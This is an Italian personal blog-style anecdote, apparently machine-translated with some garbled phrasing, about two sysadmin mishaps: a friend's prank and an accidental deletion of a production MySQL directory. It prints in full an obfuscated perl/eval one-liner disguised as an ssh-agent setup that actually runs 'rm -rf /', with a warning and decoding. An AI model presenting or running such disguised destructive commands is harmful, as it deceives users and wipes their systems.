Molti anni fa ero a casa a programmare alcune cose in php mentre lavoravo a un progetto con un mio amico che era il manutentore del progetto. Ci stavamo scambiando l'un l'altro in uno sforzo di collaborazione. Scommettiamo sempre avanti e indietro in gioco.
Stavo cercando di far funzionare correttamente l'agente ssh sulla mia macchina mentre facevamo una guerra religiosa tra Perl e PHP. Poi ho menzionato qualcosa sull'agente ssh che ha bisogno di essere valutato (non so perché l'ho detto). Quindi mi ha inviato questo messaggio nel tentativo, così ho pensato, di aiutarmi con il mio problema (tenere presente che sono stato chiamato in causa alla radice):
\# eval $(echo ssh-agent |
perl -pe 's/h-a/m -r/' |
perl -pe 's/^ss/r/' |
perl -pe 's/gent/f \//')
AVVERTIMENTO! NON ESEGUIRE IL COMANDO !!!
Se rimuovi l'Eval ed esegui il comando interno da solo è:
rm -rf /
Mi ci sono voluti tutti e 4 i secondi per notare cosa stava succedendo ma il danno era già stato fatto. Ho dovuto reinstallare il mio sistema operativo. Fortunatamente, nulla del mio lavoro è stato cancellato tranne alcune cose in / etc iirc. Aveva una risata ENORME quando gli ho inviato un messaggio di orrore che mi chiedeva perché lo avesse fatto. Siamo entrambi ingegneri di sistemi a lungo termine. Non pensava che l'avrei eseguito e sarebbe stato più attento a controllarlo prima di fare semplicemente c & p'ing e mi sono solo fidato di lui, quindi non ho nemmeno pensato che stesse giocando. Inutile dire che questa piccola storia arriva continuamente tra noi. Quindi, ho deciso di immortalarlo.
Come ho mitigato questo accadere di nuovo? Non mi fido di nessuno!
Un'altra storia meno interessante è che un paio di anni fa stavo facendo un lavoro su un box mission-critical al lavoro. Avevo alcuni termini aperti a macchine diverse. Avevo bisogno di rimuovere alcune cose superflue in una directory. Beh, mi sono perso nei miei termini e accidentalmente mi è stato detto .nella mia directory locale ma sull'host errato (termine errato) !!. Ho eseguito il comando in / var / lib / mysql invece di / tmp sul server delle applicazioni (termine diverso). Inutile dire che ho cancellato il database di produzione. Fortunatamente, abbiamo avuto un caldo standby a cui siamo passati mentre io e un collega abbiamo ricostruito il primario dai backup e dallo standby. Ci sono volute circa 18 ore per farlo.
Mitigazione: più attento a quali finestre eseguo i comandi prima di eseguirli.